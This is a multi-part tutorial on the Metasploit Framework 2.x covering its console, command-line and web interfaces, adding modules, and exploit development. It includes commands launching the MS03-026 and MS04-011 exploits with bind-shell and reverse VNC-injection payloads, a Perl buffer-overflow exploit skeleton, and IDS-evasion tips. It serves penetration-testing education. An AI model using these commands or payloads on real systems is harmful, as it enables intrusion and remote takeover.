学步园

1. Introduction

In the first part
of this article series, we discussed how writing exploits is still a
painful and time-consuming process. We discussed the common obstacles
faced during exploit development and how the Metasploit Framework can
solve some of the problems. This article will start off with a brief
introduction to the console interface and explain how to select and use
an exploit module. We will then cover the environment system, how it
works, and what features can be enabled through it.

2. Getting Your Feet Wet

The installed MSF has three work environments, the msfconsole, the msfcli interface and the msfweb interface. However, the primary (and preferred) work area for MSF is the msfconsole.
It is an efficient command-line interface that has its own command set
and environment system. Although the Framework was designed to run on a
Unix-like system, such as Linux or BSD, it will also run on Windows
through the Cygwin environment. The Windows installer, from the metasploit.com web site, includes a pre-configured and stripped down version of Cygwin.

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown in Figure 1.

Figure 1

Now the command prompt (msf>) for msfconsole
is active. The console is very flexible, and if the user enters any
unknown commands, it will search the PATH environment variable for any
matching executable. If a matching file is found it is executed much
like a standard command prompt.

Instinctively, typing the help command displays a list of commands available as shown in Figure 2.

Figure 2

The command show exploits lists out the
currently available exploits. There are remote exploits for various
platforms and applications like Windows, Linux, IIS, Apache, and so on,
which help to test the flexibility and understand the working of MSF.
This is shown in Figure 3, below.

Figure 3

As you may have noticed, the default installation of the Metasploit
Framework 2.0 comes with 18 exploits and 27 payloads, which is quite an
impressive stockpile.

To list out the payloads present, execute the show payloads
command. The payloads are neat, efficient and very well written. These
payloads accomplish a wide array of tasks, such as binding a command
shell to a listening port, adding new user accounts, or uploading and
executing the program of your choice. MSF even has support for dynamic
payload creation, using the InlineEgg library as shown in Figure 4.

Figure 4

Specific information about an exploit can be culled with the command info exploit exploit_name
which provides information such as available targets, exploit
requirements, details of vulnerability itself, and even references
where you can find more information! This is shown in Figure 5.

Figure 5

In the same manner, information about a specific payload can be gained by the command info payload payload_name. Starting with version 2.2 of MSF, you can use info module_name, without having to specify the type, as shown in Figure 6.

Figure 6

3. Using An Exploit

Now we will describe the procedure to select a specific exploit and then run it. The command use exploit_name activates the exploit environment for the exploit exploit_name.

If you select the Microsoft RPC DCOM MSO3-026 exploit using the name msrpc_dcom_ms03_026, you may have noticed the prompt changes from msf> to msf msrpc_dcom_ms03_026 >. This notifies that we are working in the temporary environment of that exploit.
The show command can be used to view information about the current exploit. The show options command displays the various parameters which are required to be use the exploit, as shown in Figure 7.

Figure 7

It's clear that this exploit requires two parameters,
RHOST (the target's address) and RPORT (and the target's port, defaults
to 135 in this case). The show targets
command will list all available targets for the selected exploit
module. As you can see, this module only has one target, which works on
NT 4.0 SP6, plus all versions of Windows 2000, and all versions of
Windows XP.

The show payloads command will list all
payloads that are compatible with the selected exploit. MSF does a good
job of preventing you from using the wrong payload for a given exploit.

We must set each of the options listed as
'required' before we can use this exploit. In this exploit we only have
a single target option, so we set the TARGET variable to 0, with the command set TARGET 0. Many exploits will choose a reasonable default target for you. We now set the target server's IP address with the command set RHOST 192.168.0.27.

Next we need to set the required payload (shellcode) for the exploit. Here we set PAYLOAD to winbind, using the command set PAYLOAD winbind. The payload names may change between versions of MSF, so always check the output of show payloads
after an upgrade. This particular payload will cause the server to
listen on a port and spawn a command shell when a connection is made.
This displays the extensible flexibility of the MSF payload system.
Every single exploit included in MSF allows for arbitrary payloads to
be selected and used, even custom ones you develop yourself. Notice the
prompt changes from msf msrpc_dcom_ms03_026 > to msf msrpc_dcom_ms03_026(winbind) > after selecting a payload. Now we use the show options
command to check which options have been set and which are required to
be set. As we can see, we still need to supply a value for the LPORT variable as shown in Figure 8. We set it using the command set LPORT 1536.

Figure 8

The EXITFUNC variable is available for almost
every Windows payload. This variable controls how the payload will
clean up after itself once it accomplishes its task. Quite a few
vulnerabilities can be exploited repeatedly, simply by using a
different value for EXITFUNC. Fortunately, you rarely have to
worry about this as many exploits automatically select the best value
for you. Unless you know what you are doing, this value should not set.
Setting the wrong value can wreak havoc on the exploited system.

Many exploits and payloads have another set of options, called advanced options. These can be displayed with the command show advanced.
Advanced options can perform tasks such as modifying an exploit request
to avoid an IDS signature, changing brute force settings, or specifying
exact return addresses to use.

At this point, everything is ready and all variables have been set. We make a final check on the exploit with the show options command and verify that we are good to go.

Everything seems perfect. It's show time!

The exploit command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

The check command can be used to whether
or not the target system is vulnerable to attack. The check feature is
not available with every exploit, but can be useful when you are trying
to determine if a system is patched before trying to exploit it.

4. Adding New Exploits/Modules

Adding new exploits to MSF
is a breeze. The MSF-compatible remote exploit for IIS 5.x SSL PCT
Buffer Overflow was publicly released on 24/04/2004 (http://www.k-otik.com/exploits/04242004.iis5x_ssl_pct.pm.php). For the purposes of this article we will add the exploit to our MSF stockpile.

After downloading the exploit, the user must note the naming of the
Perl module for the exploit. The file name must be the same as the
package name, in other words, Msf::Exploit::iis5x_ssl_pct should be saved as iis5x_ssl_pct.pm.
Now copy the module to the exploits subdirectory (in case you're using
Windows it's /home/framework-2.0/exploits). As soon as the file is
copied over, it is ready for use, and you do not even need to restart
the console. Use the show exploits command to verify that the module has been loaded correctly.

msf > show exploits
Metasploit Framework Loaded Exploits
====================================
apache_chunked_win32       Apache Win32 Chunked Encoding
exchange2000_xexch50       Exchange 2000 MS03-46 Heap Overflow
ia_webmail                 IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post        IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow     IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll         IIS 5.0 WebDAV ntdll.dll Overflow
iis5x_ssl_pct              IIS 5.x SSL PCT Overflow
imail_ldap                 IMail LDAP Service Buffer Overflow
msrpc_dcom_ms03_026        Microsoft RPC DCOM MSO3-026
mssql2000_resolution       MSSQL 2000 Resolution Overflow
poptop_negative_read       PoPToP Negative Read Overflow
...

The exploit has been successfully added to the list. The exploit is run
in the same way as any other exploit in MSF. Version 2.2 of MSF allows
users to keep their own private directory of exploits, payloads,
encoders, and nops. Installing a new exploit can be either system-wide,
or per-user.

5. Console Environments

In previous paragraphs, we made
quite a few references to variables and environments, without
explaining what they are. An environment is simply a name space for
variables. When you set a variable in MSF, it creates a new entry in
your current environment. Environments are used to specify exploit
parameters and configure various parts of the system. MSF is divided
into two logical environments, the Global Environment and the Temporary
Environment. Each exploit, when selected, has a temporary environment
which overrides the global environment.

5.1 Global Environment

The global environment is accessed through the setg and unsetg commands. Calling setg displays the current global environment and calling unsetg flushes out all global environment settings.

As shown below in Figure 9, we set the value of LHOST, LPORT and PAYLOAD in the global environment to permanent values and save the changes with the save command.

Figure 9

The save command writes out all the current
environments to a file on disk. Versions 2.0 and 2.1 place this data
into the file $HOME/.msfconfig, and version 2.2 places the saved
environments into $HOME/.msf/config. The saved environments are loaded
the next time any of the MSF user interfaces are started. It is common
practice to set global environments such as LHOST and LPORT and save them to disk, removing the need to set them on a per-exploit basis.

5.2 Temporary Environment

The temporary environments are sub-environments which override global
settings. The Temporary environment is tied to the currently selected
exploit. Every exploit's environment is isolated from the rest,
allowing the user to easily switch between preconfigured exploits with
the use command.

5.3 Advanced Environment Settings

MSF provides quite a few advanced settings which are configured through
environment variables. These settings include the logging system,
socket options, and debugging parameters.

5.3.1 Logging Options

The logging features can be activated by setting the Logging (global as well as temporary name) variable to a non-zero value. The directory for logs is set by changing the LogDir (global as well as temporary name) variable which defaults $HOME/.msflogs. The msflogdump utility can be used to view the session logs. Starting with version 2.2, the logs are stored in $HOME/.msf/logs.

5.3.2 Socket Options

The various timeout and proxy settings can be changed by setting the following environment variables.

Msf::Socket::Proxies (global name) or Proxies (temporary
name): This variable can used to set the proxy (SOCKS4 and HTTP)
settings for network connections. It supports proxy chains which can be
specified in the format chain type:host:port and is separated by commas
for each proxy server.

Msf::Socket::RecvTimeout (global name) or RecvTimeout (temporary name): This specifies the maximum number of seconds allowed for reading from a socket.

Msf::Socket::ConnectTimeout (global name) or ConnectTimeout (temporary name): This is to specify the connect timeout period of a socket (defaults to 10 seconds).

Msf::Socket::RecvTimeoutLoop (global name) or RecvTimeoutLoop
(temporary name): Set the maximum time (in seconds) to wait for a
connection before the socket is closed. This loop is reactivated at
every data receive.

5.3.3 Debugging Options

The environment variable DebugLevel
sets the debugging level and the verbosity options for the Framework
and modules. The verbosity increases depending on the value of the
variable, which ranges between 0 and 5.

5.3.4 Payload Options

By default, the encoding process will
cycle through all the modules until it finds one that avoids the
particular restricted character set for the current exploit. The
precedence of encoding modules can be set in an order separated by
commas in the environment variable Encoding. In the same way, the Nop
variable is used to specify the nop generating routine precedence. This
can be useful when you need to avoid certain IDS signatures.

The RandomNops variable tells the nop
generator module to use randomizes sequences of nop-like instructions
instead of the standard nop opcode. This can be also be used to avoid
IDS signatures. Version 2.2 includes support for smart random nop
generation, where each exploit can specify the registers which should
not be modified by the nop-like opcodes.

6. Conclusion

After reading the second part of this
article, you should have a solid grasp of what the Metasploit Framework
is and how you can start using it. We described the msfconsole
interface, the general process for selecting and using an exploit, and
how environment system works.

This article paves the way for the third and final
part, to be published later this week, which will explain the other
user interfaces, the included helper utilities, and some basic
guidelines for developing your own exploit modules. We will discuss its
future potential by anticipating the new features which will be added
to the framework.

1. Introduction

In the previous two parts (part 1, part 2)
of this article series we discussed the agility and ease of usage of
the Metasploit Framework in an end-user environment. Moving further we
will cover additional usage details and provide a brief insight of the
MSF from a developer's perspective. Version 2.2 of the Framework was
released in August 2004, and its immense potential was showcased at the
Blackhat 2004 and Defcon 12 security conferences, which witnessed a
jam-packed house during presentations by HD Moore and Spoonm.

The previous article discussed the primary interface to the MSF; we
will now continue the discussion by looking at other interfaces present
in the Framework. Then we will move on to cover the latest features
available in version 2.2. Finally, we will conclude the article by
providing a brief introduction to the exploit development process
provided in the Framework. This includes features such as VNC DLL
injection and others.

2. Other User Interfaces

The Metasploit Framework support three interfaces. The first interface, msfconsole, was covered extensively in part two of this article series. The two other interfaces, msfcli and msfweb are just as powerful and each plays an important role in different scenarios.

2.1 msfcli Interface

The msfcli interface is best suited for
automating various penetration tests and exploitation tasks. These
tasks can be automated through the use of batch scripts.

The commands are executed in the format: msfcli match_string options(VAR=VAL) action_code where match_string is the required exploit.

The action_code has the following value options:

S for summary,
O for options,
A for advanced options,
P for payloads,
T for targets,
C for vulnerability checks, and
E for exploitation.

The commands can be saved and loaded during startup. This allows us to configure various settings in the global environment.

First, to display a list of the exploits available, use the ./msfcli command. Note that the output is similar to the command show exploits.

Summary information about a specific exploit can be displayed with the command ./msfcli exploit_name S, where exploit_name is the name of the exploit selected, as shown below in Figure 1.

Figure 1

In the same way, available payloads can be displayed by simply changing the action_code and issuing the command ./msfcli exploit_name P.

Now we can set the payload for the exploit with ./msfcli exploit_name Payload=payload_name 0,
where payload_name is the name of the payload. In order to view and set
any advanced options that may be present for an exploit we use the ./msfcli exploit_name Payload=payload_name A command. Similarly,
./msfcli exploit_name PAYLOAD=payload_name T lists the targets and ./msfcli exploit_name PAYLOAD= payload_name T 0 selects the first value.

In part two of this article, we demonstrated the execution of the msrpc_dcom_ms03_026 exploit using msfconsole. It can also be executed via the msfcli interface by running a single command: ./msfcli msrpc_dcom_ms03_026 PAYLOAD=winbind RHOST=192.168.0.27 LPORT= 1536 TARGET=0 E

Hence, the msfcli interface provides all the functionality and features of msfconsole through a single command do all design.

2.2 msfweb Interface

The msfweb interface provides
complete MSF functionality via an easy to use web interface. This
interface has its own web server running on port 55555 by default. The
server has limited features and absolutely no security measures, so you
must secure access to it separately. However by default it listens only
for loopback connections, which limits its availability. This can be
modified for any address:port option with the -a switch. The index
page, when connected to the server, displays a list of exploits
available. A user can select an exploit simply by clicking on the
desired link.

After selecting an exploit, the next web page shows the information
about that exploit. Clicking on the 'Select Payload' button will open a
page displaying the payloads that are available. Select the specific
payload, and the next page displays various options to be filled in
such as RPORT, RHOST, and so on. The two buttons at the bottom of the
page named 'Vulnerability Check' and 'Launch Exploit' can be used to
check the RHOST for vulnerability or launch the exploit, respectively,
as shown in Figure 2.

Figure 2

When the exploit is run, the server establishes a
connection to the exploited host, proxying through an arbitrary
listening port and a telnet protocol link is given to the user for a
connection to the exploited host. This interface, although very basic,
can be useful to a team of penetration testers collaborating with each
other.

3. Metasploit Framework 2.2 - Overview of New Features

Version
2.2 of the Framework is a complete overhaul with many new features. It
is interesting to note that a suite of helper utilities have been
provided to assist in the development of exploits and plug-ins.

The Framework's base module of exploits, payloads, encoders and nop
generators has been expanded and has also matured formidably. The
libraries have the capability of providing abstraction from the user
interfaces, encoding and nop engines, payload handler modules and a
shared API environment.

There is also inclusion of the Pex Library, a
completely standalone exploit development platform with features like
nop sled generators and support for Socket protocols like Raw IP, SSL,
Proxy, MSSQL, SMB and DCERPC to say the least. Now let's go into the
nitty-gritty details of these enhancements.

3.1 Utilities

The new utilities are really just the icing on the cake, and their importance is only full evident once the tools are utilized.

Msfpescan can be used to analyze and disassemble executables and
DLLs, which helps to find the correct offsets and addresses during the
stage of exploitation and privilege escalation. It can search for jmp
statements or for a sequence like pop-pop-ret, and the utility even
supports regular expressions. This can be used to find effective return
addresses from Windows expressions, and thus can be used to add new
targets to the exploit.

The various command line flags are as shown below,

Usage: /home/framework-2.2/msfpescan <input> <mode> <options>
Inputs:
         -f  <file>    Read in PE file
         -d  <dir>     Process memdump output
Modes:
         -j  <reg>     Search for jump equivalent instructions
         -s            Search for pop+pop+ret combinations
         -x  <regex>   Search for regex match
         -a  <address> Show code at specified virtual address
Options:
         -A  <count>   Number of bytes to show after match
         -B  <count>   Number of bytes to show before match
         -I  address   Specify an alternate ImageBase
         -n            Print disassembly of matched data

Msfdldebug can be used to download debug symbols from files.

Msfpayload and msfpayload.cgi can both be used to generate customary payloads via the command-based and the CGI (Web) interfaces, respectively.

Msfencode is a useful command line based interactive payload encoder.

Msflogdump displays the session log files in colorized displays.

Msfupdate is a handy utility which can be used to check and download updated and newer releases of the Framework.

Usage: /home/framework-2.2/msfupdate [options]
Options:
        -v         Display version information
        -u         Perform an online update via metasploit.com
        -s         Only display update tasks, do not actually download
        -m         Show any files locally modified since last update
        -a         Do not prompt, default to overwrite all files
        -x         Do not require confirmation for non-SSL updates
        -f         Disable ssl support entirely, use with -x to avoid warnings

3.2 The Modules

Modules (exploits, payloads, encoders and nops)
are the epicenter of all Metasploit functionality. The exploit
collection in itself is enough to keep any penetration tester happy.
The payload support can perform all sorts of "cool ninja tricks," from
injecting a DLL (win32_bind_dllinject, win32_reverse_dllinject) to running a VNC server (win32_bind_vncinject, win32_reverse_vncinject)
on the exploited host. The live demo of this as presented by the
Metasploit authors was highly admired by audience members during the
presentations.

The Metasploit Framework supports an array of third
party tools that are supported through modules. We will explain their
interaction with MSF in brief -- for further insight readers are
directed to the respective homepages of these tools.

InlineEgg is a tool
to build handy assembly code through a Python interface. These assembly
instructions can be used to build effective payloads for an exploit.
The MSF has an interface for InlineEgg payloads called the ExternalPayload module. The latest release of MSF has three Linux examples of this: linx86_reverse_ie, linux86_bind_ie (generic command shells) and linux86_reverse_xor
(XOR encrypted). When selected the payloads are dynamically created at
run-time through a set of Python scripts. For Windows, the InlineEgg
payload is win32_reverse_stg_ie. This payload has a variable IEGG which specifies the path to the InlineEgg Python script containing the payload.

Impurity provides
an easy-to-use interface for shellcode development in C, the result of
which can be injected into memory as an executable ELF image. MSF has a
loader (Linux only) for Impurity executables named linx86_reverse_impurity and requires PEXEC set to the path of the executable.

UploadExec provides a way to upload any Win32 executable over an
exploited socket connection and run it. Imagine running a Perl
interpreter on the remote Windows computer.

The suite of various encoders (XOR, alphanumeric, etc)
help the user to shape their exploit in the way they wish to craft it.
Otherwise the Framework can be left to do that for you.

4. Exploit Development

The exploit development process has
been explained very well in the latest MSF 2.2 documentation and is
available under the 'sdk' directory. Therefore in this section of the
article we will simply break down the development process into simple
phases, and give a brief walkthrough of each phase.

The first phase of the process begins with analyzing a
vulnerability and the feasibility of manipulating this vulnerability
for our own purposes. The Metasploit Framework is more potent for
network based exploitation, which is generally difficult.

Let's suppose that there is buffer overflow in a network daemon. The
first and foremost thing to do is to find the return address. Now the
comes stage of exploration and learning, which is unfortunately still a
process of hit and miss. We will emulate the vulnerability locally by
sending enough data to just overflow the buffer. To achieve this, MSF
provides us a TCP module, and we will use it to create the socket and
send the data. The Pex library routine PatternCreate
can be used to send data patterns with specified lengths to trigger the
vulnerability. Simultaneously, we trace the debug pattern of the
vulnerable process to find where the segfault was generated. We pass
this offset to patternOffset.pl, which is found in the sdk directory, to find the return offsets.

Now extend the barebones exploit created in the previous step by adding
the offsets, padding and other vital information such as DCEFragSize.

Next we set the payload-specific options like Space (the decent payload
size), BadChars (any characters that might break the payload) and
MinNops. Then we can write down the list of targets.

The main task is in the initialization and
exploitation routines, which will pick up data using the above code
from user supplied values and undertake the final execution phase.

sub new {      #Nothing much to worry about.
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}
sub Exploit { 	#Going Critical: The exploitation routine.
  my $self = shift;
  my $targetHost  = $self->GetVar('RHOST'); #Getting values from user  
							  #using GetVar
  my $targetPort  = $self->GetVar('RPORT'); #Getting values
  my $targetIndex = $self->GetVar('TARGET');
  my $DCEFragSize = $self->GetVar('FragSize') || 1024;
  my $target = $self->Targets->[$targetIndex];
  my $ret = $target->[1];
#Encoding of payload with value set in the global environment  
#variable EncodedPayload
  my $encodedPayload = $self->GetVar('EncodedPayload');
  my $shellcode = $encodedPayload->Payload;
my $sock = Msf::Socket::Tcp->new	
#Socket routine. Set protocol dependent option. Use the Socket library 
#routines for support of various protocols. Raw sockets are also supported.
{
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort'=> $self->GetVar('CPORT'),
...
}
#Setting up advanced options using GetLocal which is used to get the     
#options set by the exploit coder rather than the end user. The options 
#given by the end user are captured using GetVar.
 my $tosend = 'A' x $self->GetLocal('PreRetLength'); 
#AAAAAA... PreRetLength number of times. Let's call it 'tosend'
 $tosend .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4); 
#Append return address to 'tosend' RetLength number of times.
  $tosend .= $shellcode; 
#Now append the shellcode. 
#Now we have a complete request including shellcode, ret address and 
#overflow data...we are done!
 $sock->Send($tosend);  # say hello to shell
  return;
}
1; #you must end your exploit with this.

This gives a basic overview on how the exploit code is
structured, what components need to be defined, how to process user
arguments, and various other aspects related to exploits. Besides the
standard set of features, there are many advanced options and libraries
which can be used to develop advanced functionality in exploits. The
reader would do well to read up on these.

The raw sockets functionality is very good, with
support for IP, TCP, UDP and ICMP and with various options -- such as
packets that can be crafted for multiple sources and destinations, and
variable settings for a group of packets. Note that this functionality
is not available on Windows platforms.

The DCEFragSize parameter can be used to set the
application fragment size for DCE RPC packets, and can be effectively
used for bypassing a network access control system. An example
implementation has been provided in the msrpc_dcom_ms03_026 exploit.

5. Post-Exploitation Phase

The central theme of the Metasploit Framework at a recent presentation
was, "Hacking like in the movies." The reality is that the framework
really does provide some captivating post-exploitation techniques. Here
are a few examples.

The in-process DLL injection allows us to inject and
run a custom DLL as a separate thread in memory, without even touching
the physical storage media of the victim's box. This can also be
blended with any Win32 exploit.

To add more spice to it, the Framework provides a
VNC server as a custom DLL, which can be used to control the victim box
graphically. This injection payload can be used to attain full access
to the desktop of a remote Windows system, by being loaded as a DLL and
is started as a new thread. From there it will listen for client
requests on the same socket as was used to have the payload loaded. The
client connects by first using a proxy via a local listening socket
that was opened up by the framework. After two attempts of gaining full
access to the desktop, the DLL payload will switch over to read-only
mode, where the user can just view the contents of desktop. The DLL
payload also spawns a command shell on the desktop with the privileges
of the exploited process, which is often full Administrator access for
Windows machines.

In order to use this feature, the user must first select the exploit payload as win32_bind_vncinject or win32_reverse_vcinject and use a Windows host as the target.

This will now be demonstrated using the MS04-011 LSASS vulnerability, as shown below:

msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
PAYLOAD -> win32_reverse_vncinject
msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 192.168.0.111
RHOST -> 192.168.0.111
msf lsass_ms04_011(win32_reverse_vncinject) > set NBNAME CUBECS
NBNAME -> CUBECS
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 192.168.0.50
LHOST -> 192.168.0.50
msf lsass_ms04_011(win32_reverse_vncinject) > exploit
[*] Starting Reverse Handler.
[*] Detected a Windows 2000 target
[*] Sending 8 DCE request fragments...
[*] Sending the final DCE fragment
[*] Got connection from 192.168.0.111:1146
[*] Sending Stage (2893 bytes)
[*] Sleeping before sending dll.
[*] Uploading dll to memory (348160), Please wait...
[*] VNC proxy listening on port 5900...
VNC server supports protocol version 3.3 (viewer 3.3)
No authentication needed
Desktop name "VNCShell [SYSTEM@CUBECS] - Full Access"
Connected to VNC server, using protocol version 3.3
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using shared memory PutImage
Same machine: preferring raw encoding
ShmCleanup called
[*] VNC proxy finished
[*] Exiting Reverse Handler.

As the screenshot below in Figure 3 shows, with this
example you get full system GUI access to the remote Windows system
(CUBECS), from the Linux box.

Figure 3

There are other interesting aspects of the Metasploit
Framework as well. Many IDS evasion techniques can be successfully
implemented using the tricks of the trade such as polymorphic
shellcode, first exit event masking, and multi staged payloads with
custom exploit options. These options are left to the capable reader to
explore.

6. Open Source

Some readers may be interested in a comparison of the Metasploit Framework with other exploit environments of its kind, such as Core Impact or ImmunitySec Canvas.
Perhaps an analogy can be made to the market offerings of tools like
Nessus (open source) and commercial products such as ISS' Internet
Scanner, where there are advantages and disadvantages to each approach.
Perhaps the things to evaluate are the available support options, speed
of exploit development, and numerous other factors that factor in any
required license cost.

7. Conclusion

In concluding this article series, it may be
pertinent to compare the Metasploit Framework to the mortal Prometheus
from Greek Mythology. As the story goes, Prometheus was a Titan who
stole fire from the Gods living on Mount Olympus, and in turn he gave
it to humankind. With the same analogy, the Metasploit Framework helps
to extend the enigmatic art of exploitation to many people who might
not otherwise have this ability. It will surely play a prominent role
in the future of Internet security and penetration testing.